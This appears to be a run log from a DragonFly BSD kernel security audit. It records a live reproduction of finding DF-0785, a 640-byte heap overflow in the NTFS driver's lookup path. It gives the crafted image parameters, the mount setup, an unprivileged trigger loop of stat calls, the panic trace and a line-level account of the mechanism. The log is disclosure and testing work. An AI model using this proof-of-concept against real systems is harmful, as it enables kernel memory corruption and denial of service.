โฌข DragonFlyBSD Kernel Audit
DF-0785 / run.log
โ† back to finding โ†“ download raw
DF-0785 โ€” UNFIXED live reproduction (#0 GENERIC, INVARIANTS ON)
================================================================

Guest: DragonFly 6.5-DEVELOPMENT #0 (X86_64_GENERIC), the unpatched audit base.
Image: ntfs_evil.img โ€” crafted NTFS, root $INDEX_ROOT with ir_size=256
(allocation length) and va_datalen=896 (copy length)  => 640-byte heap overflow.

Setup (root, one-time; mount is SYSCAP_RESTRICTEDROOT, trigger is unprivileged):
  kldload ntfs
  vnconfig -c vn0 /root/ntfs_evil.img
  mount -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt

Trigger (as uid 1001 maxx โ€” any non-"." non-".." name lookup reaches
ntfs_ntlookupfile -> the buggy kmalloc(blsize)+ntfs_readattr(rdsize)):
  for i in $(seq 1 150); do stat /mnt/r$i >/dev/null 2>&1; done
  for i in $(seq 1 100); do ( true ); done
  ls -la /mnt >/dev/null 2>&1

Result: guest DOWN.  Serial boot log (dfbsd-qemu/boot.log) shows:

  vn0: MBR magic not found; assume a COMPATIBILITY_SLICE (s0)
  panic: assertion "(((intptr_t)chunk ^ (intptr_t)z) & ZoneMask) == 0" failed in chunk_mark_free at /usr/src/sys/kern/kern_slaballoc.c:1675
  cpuid = 4
  Trace beginning at frame 0xfffff8008975f950
  chunk_mark_free() at chunk_mark_free+0x99 0xffffffff80655da9
  chunk_mark_free() at chunk_mark_free+0x99 0xffffffff80655da9
  slab_cleanup() at slab_cleanup+0xbb 0xffffffff8065662b
  slotimer_callback() at slotimer_callback+0x11 0xffffffff80687d81
  softclock_handler() at softclock_handler+0x1b8 0xffffffff80688438
  Debugger("panic")
  CPU4 stopping CPUs: 0x0000002f
   stopped
  Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
  db>

Mechanism: each name lookup ran ntfs_ntlookupfile which executed
  rdbuf = kmalloc(blsize=256, M_TEMP, M_WAITOK);                 // ntfs_subr.c:888
  ntfs_readattr(... rdsize=896 ... rdbuf);                        // ntfs_subr.c:890-891
writing 896 attacker-controlled bytes (0x41434244 pattern) into the 256-byte
slab object -> 640-byte heap overflow corrupting neighbouring slab chunks,
including free chunks' c_Next free-list pointers.  The periodic slab cleanup
timer (slotimer_callback -> slab_cleanup -> chunk_mark_free) later walked the
corrupted free list and tripped the INVARIANTS zone-alignment assertion.

ntfs was the only heap-corruption source active at the time; the corrupted
c_Next carried the overflow's 0x41434244 pattern.  Attribution: DF-0785.

A lighter trigger (a single `stat /mnt/x`) returns ENOENT and leaves the guest
up: the overflow writes silently on GENERIC (DragonFly slab tracks allocation
state in a zone bitmap, kern_slaballoc.c:1654-1683, and has no content
canary/redzone verification -- `use_weird_array` only poisons freed chunks, it
never verifies them on realloc).  The corruption therefore only becomes a
panic once slab churn walks the corrupted free list (the slab_cleanup timer or
further allocation pressure).  Both outcomes -- silent corruption and panic --
are this bug.

Deterministic extent proof (no slab luck required): harness.c transcribes the
exact kmalloc(blsize)+ntfs_readattr(rdsize) copy with a guard-paged allocator
and faults byte-exactly at the overflow (exit 139 / SIGSEGV), see
harness_run.log and harness_compare.log.